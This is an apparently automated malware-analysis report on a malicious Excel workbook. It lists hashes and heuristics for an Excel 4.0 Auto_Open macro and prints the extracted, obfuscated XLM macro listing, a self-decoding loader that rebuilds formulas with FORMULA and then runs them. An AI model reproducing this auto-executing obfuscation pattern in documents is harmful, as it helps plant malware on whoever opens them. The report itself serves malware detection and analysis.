Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 eb89801ddcb0b457…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:44:55 Authoring application: Microsoft Excel First seen: 2021-02-09
MD5: c050ec5d8fbf558717369b6050ccbdaf SHA-1: 698033a5e3b5dbdfc4b43c1a23f3a72919b0378b SHA-256: eb89801ddcb0b4577c4829512b8bb51331ad11777819fd11ab887be409c5638f
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6590 bytes
SHA-256: b23529f892232f1ad5b8d0930753138c74a93d0bdb476bd1204ccdb9963530a8
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     19 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  eYrWVhceoy
' 0018     21 LABEL : Cell Value, String Constant - aJGZzC len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D131 
' 0018     21 LABEL : Cell Value, String Constant - BKYvRT len=0 
' 0018     22 LABEL : Cell Value, String Constant - ckjxJmC len=0 
' 0018     21 LABEL : Cell Value, String Constant - CTPqxz len=0 
' 0018     27 LABEL : Cell Value, String Constant - cUJakLJWmmYG len=0 
' 0018     20 LABEL : Cell Value, String Constant - duGPz len=0 
' 0018     20 LABEL : Cell Value, String Constant - gqcji len=0 
' 0018     23 LABEL : Cell Value, String Constant - heSSpKuO len=0 
' 0018     26 LABEL : Cell Value, String Constant - kbwVSufhCIn len=0 
' 0018     22 LABEL : Cell Value, String Constant - khmBruR len=0 
' 0018     24 LABEL : Cell Value, String Constant - KysGyVvOC len=0 
' 0018     21 LABEL : Cell Value, String Constant - LTXezO len=0 
' 0018     21 LABEL : Cell Value, String Constant - qbofzG len=0 
' 0018     20 LABEL : Cell Value, String Constant - quhHZ len=0 
' 0018     21 LABEL : Cell Value, String Constant - TETkyY len=0 
' 0018     22 LABEL : Cell Value, String Constant - TqVeGtp len=0 
' 0018     21 LABEL : Cell Value, String Constant - uOhnwV len=0 
' 0018     24 LABEL : Cell Value, String Constant - XFCSukful len=0 
' 0018     27 LABEL : Cell Value, String Constant - XMRrIjkvMxpQ len=0 
' 0018     27 LABEL : Cell Value, String Constant - zVgPLNSAgPnI len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  eYrWVhceoy,D52,"SET.NAME("LTXezO",VALUE("0"))",""
'  eYrWVhceoy,D54,"SET.NAME("duGPz",LTXezO)",""
'  eYrWVhceoy,D56,"SET.NAME("cUJakLJWmmYG",LTXezO)",""
'  eYrWVhceoy,D58,"SET.NAME("khmBruR",COUNTA(gqcji))",""
'  eYrWVhceoy,D61,"SET.NAME("zVgPLNSAgPnI",COUNTA(BKYvRT))",""
'  eYrWVhceoy,D63,[],""
'  eYrWVhceoy,D68,"SET.NAME("heSSpKuO","")",""
'  eYrWVhceoy,D70,"duGPz",""
'  eYrWVhceoy,D72,"SET.NAME("uOhnwV",HLOOKUP("*",gqcji,duGPz,FALSE))",""
'  eYrWVhceoy,D75,"qbofzG",""
'  eYrWVhceoy,D77,"SET.NAME("aJGZzC",LTXezO)",""
'  eYrWVhceoy,D81,[],""
'  eYrWVhceoy,D84,"aJGZzC",""
'  eYrWVhceoy,D88,"XFCSukful",""
'  eYrWVhceoy,D91,"quhHZ",""
'  eYrWVhceoy,D94,"TETkyY",""
'  eYrWVhceoy,D99,"SET.NAME("kbwVSufhCIn",VALUE(HLOOKUP("*",BKYvRT,TETkyY,FALSE)))",""
'  eYrWVhceoy,D101,"ckjxJmC",""
'  eYrWVhceoy,D106,"heSSpKuO",""
'  eYrWVhceoy,D109,"cUJakLJWmmYG",""
'  eYrWVhceoy,D113,NEXT(),""
'  eYrWVhceoy,D115,"TqVeGtp",""
'  eYrWVhceoy,D118,"SET.NAME("f",INT(T(FORMULA(T(heSSpKuO)&"",""&T(TqVeGtp)))))",""
'  eYrWVhceoy,D122,"KysGyVvOC",""
'  eYrWVhceoy,D124,NEXT(),""
'  eYrWVhceoy,D126,RETURN(),""
'  eYrWVhceoy,D153,"SET.NAME("CTPqxz",D52)",""
'  eYrWVhceoy,D155,"gqcji",""
'  eYrWVhceoy,D160,"SET.NAME("BKYvRT",R69C12)",""
'  eYrWVhceoy,D163,"SET.NAME("KysGyVvOC",170)",""
'  eYrWVhceoy,D166,"SET.NAME("XMRrIjkvMxpQ",4)",""
'  eYrWVhceoy,D169,CTPqxz(),""
'  eYrWVhceoy,D170,HALT(),""

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